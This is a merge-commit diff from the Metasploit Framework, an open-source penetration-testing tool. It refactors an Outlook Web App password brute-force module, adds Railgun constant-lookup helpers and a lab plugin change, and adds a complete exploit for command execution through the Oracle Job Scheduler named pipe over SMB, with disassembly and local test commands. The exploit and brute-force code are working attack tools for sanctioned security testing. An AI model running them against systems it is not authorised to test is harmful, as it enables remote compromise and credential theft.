Merge branch 'master' of github_r7:rapid7/metasploit-framework
This commit is contained in:
@@ -277,6 +277,22 @@ class Railgun
|
||||
def const(str)
|
||||
return constant_manager.parse(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of windows constants names matching +winconst+
|
||||
#
|
||||
|
||||
def const_reverse_lookup(winconst,filter_regex=nil)
|
||||
return constant_manager.rev_lookup(winconst,filter_regex)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of windows error code names for a given windows error code matching +err_code+
|
||||
#
|
||||
|
||||
def error_lookup (err_code,filter_regex=/^ERROR_/)
|
||||
return constant_manager.rev_lookup(err_code,filter_regex)
|
||||
end
|
||||
|
||||
#
|
||||
# The multi-call shorthand (["kernel32", "ExitProcess", [0]])
|
||||
|
||||
@@ -70,6 +70,30 @@ class WinConstManager
|
||||
def is_parseable(s)
|
||||
return parse(s) != nil
|
||||
end
|
||||
|
||||
# looks up a windows constant (integer or hex) and returns an array of matching winconstant names
|
||||
#
|
||||
# this function will NOT throw an exception but return "nil" if it can't find an error code
|
||||
def rev_lookup(winconst, filter_regex=nil)
|
||||
c = winconst.to_i # this is what we're gonna reverse lookup
|
||||
arr = [] # results array
|
||||
@consts.each_pair do |k,v|
|
||||
arr << k if v == c
|
||||
end
|
||||
if filter_regex # this is how we're going to filter the results
|
||||
# in case we get passed a string instead of a Regexp
|
||||
filter_regex = Regexp.new(filter_regex) unless filter_regex.class == Regexp
|
||||
# do the actual filtering
|
||||
arr.select! do |item|
|
||||
item if item =~ filter_regex
|
||||
end
|
||||
end
|
||||
return arr
|
||||
end
|
||||
|
||||
def is_parseable(s)
|
||||
return parse(s) != nil
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
||||
@@ -17,21 +17,53 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(
|
||||
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
|
||||
'Description' => %q{
|
||||
This module tests credentials on OWA 2003, 2007 and 2010 servers.
|
||||
This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
|
||||
action is set to OWA 2010.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Vitor Moreira',
|
||||
'Spencer McIntyre',
|
||||
'SecureState R&D Team'
|
||||
'SecureState R&D Team',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[
|
||||
'OWA 2003',
|
||||
{
|
||||
'Description' => 'OWA version 2003',
|
||||
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
|
||||
'InboxPath' => '/exchange/',
|
||||
'InboxCheck' => /Inbox/
|
||||
}
|
||||
],
|
||||
[
|
||||
'OWA 2007',
|
||||
{
|
||||
'Description' => 'OWA version 2007',
|
||||
'AuthPath' => '/owa/auth/owaauth.dll',
|
||||
'InboxPath' => '/owa/',
|
||||
'InboxCheck' => /addrbook.gif/
|
||||
}
|
||||
],
|
||||
[
|
||||
'OWA 2010',
|
||||
{
|
||||
'Description' => 'OWA version 2010',
|
||||
'AuthPath' => '/owa/auth.owa',
|
||||
'InboxPath' => '/owa/',
|
||||
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'OWA 2010'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [ true, "The target port", 443]),
|
||||
OptString.new('VERSION', [ true, "OWA VERSION (2003, 2007, or 2010)", '2007'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
@@ -43,11 +75,30 @@ class Metasploit3 < Msf::Auxiliary
|
||||
deregister_options('BLANK_PASSWORDS')
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Restore the original settings
|
||||
datastore['BLANK_PASSWORDS'] = @blank_passwords_setting
|
||||
datastore['USER_AS_PASS'] = @user_as_pass_setting
|
||||
end
|
||||
|
||||
def run
|
||||
datastore['BLANK_PASSWORDS'] = false # OWA doesn't support blank passwords
|
||||
# Store the original setting
|
||||
@blank_passwords_setting = datastore['BLANK_PASSWORDS']
|
||||
|
||||
# OWA doesn't support blank passwords
|
||||
datastore['BLANK_PASSWORDS'] = false
|
||||
|
||||
# If there's a pre-defined username/password, we need to turn off USER_AS_PASS
|
||||
# so that the module won't just try username:username, and then exit.
|
||||
@user_as_pass_setting = datastore['USER_AS_PASS']
|
||||
if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil?
|
||||
print_status("Disabling 'USER_AS_PASS' because you've specified an username/password")
|
||||
datastore['USER_AS_PASS'] = false
|
||||
end
|
||||
|
||||
vhost = datastore['VHOST'] || datastore['RHOST']
|
||||
|
||||
print_status("#{msg} Testing version #{datastore['VERSION']}")
|
||||
print_status("#{msg} Testing version #{action.name}")
|
||||
|
||||
# Here's a weird hack to check if each_user_pass is empty or not
|
||||
# apparently you cannot do each_user_pass.empty? or even inspect() it
|
||||
@@ -58,34 +109,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
print_error("No username/password specified") if isempty
|
||||
|
||||
if datastore['VERSION'] == '2003'
|
||||
authPath = '/exchweb/bin/auth/owaauth.dll'
|
||||
inboxPath = '/exchange/'
|
||||
loginCheck = /Inbox/
|
||||
elsif datastore['VERSION'] == '2007'
|
||||
authPath = '/owa/auth/owaauth.dll'
|
||||
inboxPath = '/owa/'
|
||||
loginCheck = /addrbook.gif/
|
||||
elsif datastore['VERSION'] == '2010'
|
||||
authPath = '/owa/auth.owa' # Post creds here
|
||||
inboxPath = '/owa/' # Get request with cookie/sessionid
|
||||
loginCheck = /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/ # check result
|
||||
else
|
||||
print_error('Invalid VERSION, select one of 2003, 2007, or 2010')
|
||||
return
|
||||
end
|
||||
auth_path = action.opts['AuthPath']
|
||||
inbox_path = action.opts['InboxPath']
|
||||
login_check = action.opts['InboxCheck']
|
||||
|
||||
begin
|
||||
each_user_pass do |user, pass|
|
||||
vprint_status("#{msg} Trying #{user} : #{pass}")
|
||||
try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
|
||||
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||
print_error("#{msg} HTTP Connection Error, Aborting")
|
||||
end
|
||||
end
|
||||
|
||||
def try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
|
||||
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
|
||||
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
|
||||
headers = {
|
||||
'Cookie' => 'PBack=0'
|
||||
@@ -100,11 +138,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'encode' => true,
|
||||
'uri' => authPath,
|
||||
'uri' => auth_path,
|
||||
'method' => 'POST',
|
||||
'headers' => headers,
|
||||
'data' => data
|
||||
}, 20)
|
||||
}, 25)
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error("#{msg} HTTP Connection Failed, Aborting")
|
||||
@@ -129,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => inboxPath,
|
||||
'uri' => inbox_path,
|
||||
'method' => 'GET',
|
||||
'headers' => headers
|
||||
}, 20)
|
||||
@@ -148,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
return :skip_pass
|
||||
end
|
||||
|
||||
if res.body =~ loginCheck
|
||||
if res.body =~ login_check
|
||||
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
|
||||
@@ -0,0 +1,196 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle Job Scheduler Named Pipe Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job
|
||||
Scheduler is implemented via the component extjob.exe which listens on a named pipe
|
||||
called "orcljsex<SID>" and execute arbitrary commands received throw this channel via
|
||||
CreateProcess(). In order to connect to the Named Pipe remotely SMB access is required.
|
||||
This module has been tested on Oracle 10g Release 1 where the Oracle Job Scheduler
|
||||
runs as SYSTEM on Windows but it's disabled by default.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'David Litchfield', # Vulnerability discovery and exploit
|
||||
'juan vazquez', # Metasploit module
|
||||
'sinn3r' # Metasploit fu
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jan 01 2007',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SID', [ true, 'The database sid', 'ORCL'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")
|
||||
execute_cmdstager({:linemax => 1500})
|
||||
handler
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
connect()
|
||||
smb_login()
|
||||
pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
|
||||
pipe.write("cmd.exe /q /c #{cmd}")
|
||||
pipe.close
|
||||
disconnect
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
begin
|
||||
connect()
|
||||
smb_login()
|
||||
pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
|
||||
pipe.write("cmd.exe /q /c dir")
|
||||
result = pipe.read() # Exit Code
|
||||
pipe.close
|
||||
disconnect
|
||||
rescue
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if result == "1" # Exit Code should be 1
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
How To Test locally:
|
||||
1. Go to Administrative Tools -> Services -> Set 'OracleJobSchedulerORCL' to automatic, and
|
||||
then Start the service.
|
||||
2. Make sure you know your SMBUser and SMBPass
|
||||
3. Run:
|
||||
C:\Documents and Settings\juan\PipeList>echo cmd.exe /c calc.exe > \\.\pipe\orcljsexorcl
|
||||
|
||||
Code Analysis of extjob.exe (Oracle 10g Release 1)
|
||||
=================================================
|
||||
|
||||
From _ServiceStart():
|
||||
|
||||
* Create Named Pipe and store handle on "esi":
|
||||
|
||||
.text:004017EC push offset _pipename
|
||||
.text:004017F1 lea ecx, [ebp+Name]
|
||||
.text:004017F7 push offset $SG59611 ; "\\\\.\\pipe\\orcljsex%s"
|
||||
.text:004017FC push ecx
|
||||
.text:004017FD jmp short loc_401810
|
||||
.text:004017FF ; ---------------------------------------------------------------------------
|
||||
.text:004017FF
|
||||
.text:004017FF loc_4017FF: ; CODE XREF: _ServiceStart+FAj
|
||||
.text:004017FF push offset $SG59613
|
||||
.text:00401804 lea edx, [ebp+Name]
|
||||
.text:0040180A push offset $SG59614 ; "\\\\.\\pipe\\orcljsex%s"
|
||||
.text:0040180F push edx ; Dest
|
||||
.text:00401810
|
||||
.text:00401810 loc_401810: ; CODE XREF: _ServiceStart+10Dj
|
||||
.text:00401810 call ds:__imp__sprintf
|
||||
.text:00401816 add esp, 0Ch
|
||||
.text:00401819 push edi
|
||||
.text:0040181A push edi
|
||||
.text:0040181B push 4
|
||||
.text:0040181D call _ReportStatusToSCMgr
|
||||
.text:00401822 add esp, 0Ch
|
||||
.text:00401825 test eax, eax
|
||||
.text:00401827 jz loc_4018EC
|
||||
.text:0040182D mov edi, ds:__imp__CreateNamedPipeA@32 ; CreateNamedPipeA(x,x,x,x,x,x,x,x)
|
||||
.text:0040185C mov esi, eax
|
||||
|
||||
* Connect Named Pipe
|
||||
|
||||
.text:0040188F push eax ; lpOverlapped
|
||||
.text:00401890 push esi ; hNamedPipe
|
||||
.text:00401891 call ds:__imp__ConnectNamedPipe@8 ; ConnectNamedPipe(x,x)
|
||||
|
||||
* Create Thread with ExecMain() as lpStartAddress and esi (The Pipe handle) as parameter
|
||||
|
||||
.text:004018B9 lea edx, [ebp+ThreadId]
|
||||
.text:004018BC push edx ; lpThreadId
|
||||
.text:004018BD push 0 ; dwCreationFlags
|
||||
.text:004018BF push esi ; lpParameter
|
||||
.text:004018C0 push offset _ExecMain ; lpStartAddress
|
||||
.text:004018C5 push 0 ; dwStackSize
|
||||
.text:004018C7 push 0 ; lpThreadAttributes
|
||||
.text:004018C9 call ds:__imp__CreateThread@24 ; CreateThread(x,x,x,x,x,x)
|
||||
|
||||
From ExecMain():
|
||||
|
||||
* Stores Named Pipe Handle in ebx
|
||||
|
||||
.text:0040197C mov ebx, [ebp+hObject]
|
||||
|
||||
* Read From Named Pipe
|
||||
|
||||
.text:004019C4 lea eax, [ebp+NumberOfBytesRead]
|
||||
.text:004019C7 push edx ; lpOverlapped
|
||||
.text:004019C8 push eax ; lpNumberOfBytesRead
|
||||
.text:004019C9 lea ecx, [ebp+Buffer]
|
||||
.text:004019CF push 10000h ; nNumberOfBytesToRead
|
||||
.text:004019D4 push ecx ; lpBuffer
|
||||
.text:004019D5 push ebx ; hFile
|
||||
.text:004019D6 call ds:__imp__ReadFile@20 ; ReadFile(x,x,x,x,x)
|
||||
|
||||
* CreateProcess with lpCommandLine full controlled by the user input
|
||||
|
||||
.text:00401A06 mov ecx, 11h
|
||||
.text:00401A0B xor eax, eax
|
||||
.text:00401A0D lea edi, [ebp+StartupInfo]
|
||||
.text:00401A10 push esi
|
||||
.text:00401A11 rep stosd
|
||||
.text:00401A13 lea eax, [ebp+ProcessInformation]
|
||||
.text:00401A16 lea ecx, [ebp+StartupInfo]
|
||||
.text:00401A19 push eax ; lpProcessInformation
|
||||
.text:00401A1A push ecx ; lpStartupInfo
|
||||
.text:00401A1B push 0 ; lpCurrentDirectory
|
||||
.text:00401A1D push 0 ; lpEnvironment
|
||||
.text:00401A1F push 0 ; dwCreationFlags
|
||||
.text:00401A21 push 0 ; bInheritHandles
|
||||
.text:00401A23 push 0 ; lpThreadAttributes
|
||||
.text:00401A25 lea edx, [ebp+Buffer]
|
||||
.text:00401A2B push 0 ; lpProcessAttributes
|
||||
.text:00401A2D push edx ; lpCommandLine
|
||||
.text:00401A2E push 0 ; lpApplicationName
|
||||
.text:00401A30 mov [ebp+StartupInfo.cb], 44h
|
||||
.text:00401A37 mov [ebp+StartupInfo.wShowWindow], 5
|
||||
.text:00401A3D mov [ebp+StartupInfo.dwFlags], 100h
|
||||
.text:00401A44 mov [ebp+StartupInfo.lpDesktop], offset $SG59671
|
||||
.text:00401A4B call ds:__imp__CreateProcessA@40 ; CreateProcessA(x,x,x,x,x,x,x,x,x,x)
|
||||
|
||||
|
||||
=end
|
||||
+70
-1
@@ -60,7 +60,76 @@ class Plugin::Lab < Msf::Plugin
|
||||
|
||||
def cmd_lab_load(*args)
|
||||
return lab_usage unless args.count == 1
|
||||
@controller.from_file(args[0])
|
||||
|
||||
res = args[0]
|
||||
good_res = nil
|
||||
if (File.file? res and File.readable? res)
|
||||
# then the provided argument is an absolute path and is gtg.
|
||||
good_res = res
|
||||
elsif
|
||||
# let's check to see if it's in the data/lab dir (like when tab completed)
|
||||
[
|
||||
::Msf::Config.data_directory + File::SEPARATOR + "lab",
|
||||
# there isn't a user_data_directory, but could use:
|
||||
#::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab"
|
||||
].each do |dir|
|
||||
res_path = dir + File::SEPARATOR + res
|
||||
if (File.file?(res_path) and File.readable?(res_path))
|
||||
good_res = res_path
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if good_res
|
||||
@controller.from_file(good_res)
|
||||
else
|
||||
print_error("#{res} is not a valid lab definition file (.yml)")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the lab_load command
|
||||
#
|
||||
def cmd_lab_load_tabs(str, words)
|
||||
tabs = []
|
||||
#return tabs if words.length > 1
|
||||
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
|
||||
# then you are probably specifying a full path so let's just use normal file completion
|
||||
return tab_complete_filenames(str,words)
|
||||
elsif (not words[1] or not words[1].match(/^\//))
|
||||
# then let's start tab completion in the data/lab directory
|
||||
begin
|
||||
[
|
||||
::Msf::Config.data_directory + File::SEPARATOR + "lab",
|
||||
# there isn't a user_data_directory, but could use:
|
||||
#::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab"
|
||||
].each do |dir|
|
||||
next if not ::File.exist? dir
|
||||
tabs += ::Dir.new(dir).find_all { |e|
|
||||
path = dir + File::SEPARATOR + e
|
||||
::File.file?(path) and File.readable?(path)
|
||||
}
|
||||
end
|
||||
rescue Exception
|
||||
end
|
||||
else
|
||||
tabs += tab_complete_filenames(str,words)
|
||||
end
|
||||
return tabs
|
||||
end
|
||||
|
||||
def cmd_lab_load_dir(*args)
|
||||
return lab_usage unless args.count == 2
|
||||
@controller.build_from_dir(args[0],args[1],true)
|
||||
end
|
||||
|
||||
def cmd_lab_clear(*args)
|
||||
@controller.clear!
|
||||
end
|
||||
|
||||
def cmd_lab_save(*args)
|
||||
return lab_usage if args.empty?
|
||||
@controller.to_file(args[0])
|
||||
end
|
||||
|
||||
def cmd_lab_load_running(*args)
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'railgun_testing',
|
||||
'Description' => %q{ This module will test railgun code used in post modules},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'kernelsmith'],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]),
|
||||
OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]),
|
||||
OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]),
|
||||
OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Running against session #{datastore["SESSION"]}")
|
||||
print_status("Session type is #{session.type}")
|
||||
|
||||
@rg = session.railgun
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
|
||||
results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.pretty_inspect}")
|
||||
|
||||
print_status()
|
||||
print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}")
|
||||
results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX'])
|
||||
print_status("RESULTS: #{results.class} #{results.inspect}")
|
||||
|
||||
print_status()
|
||||
print_status("Testing Complete!")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user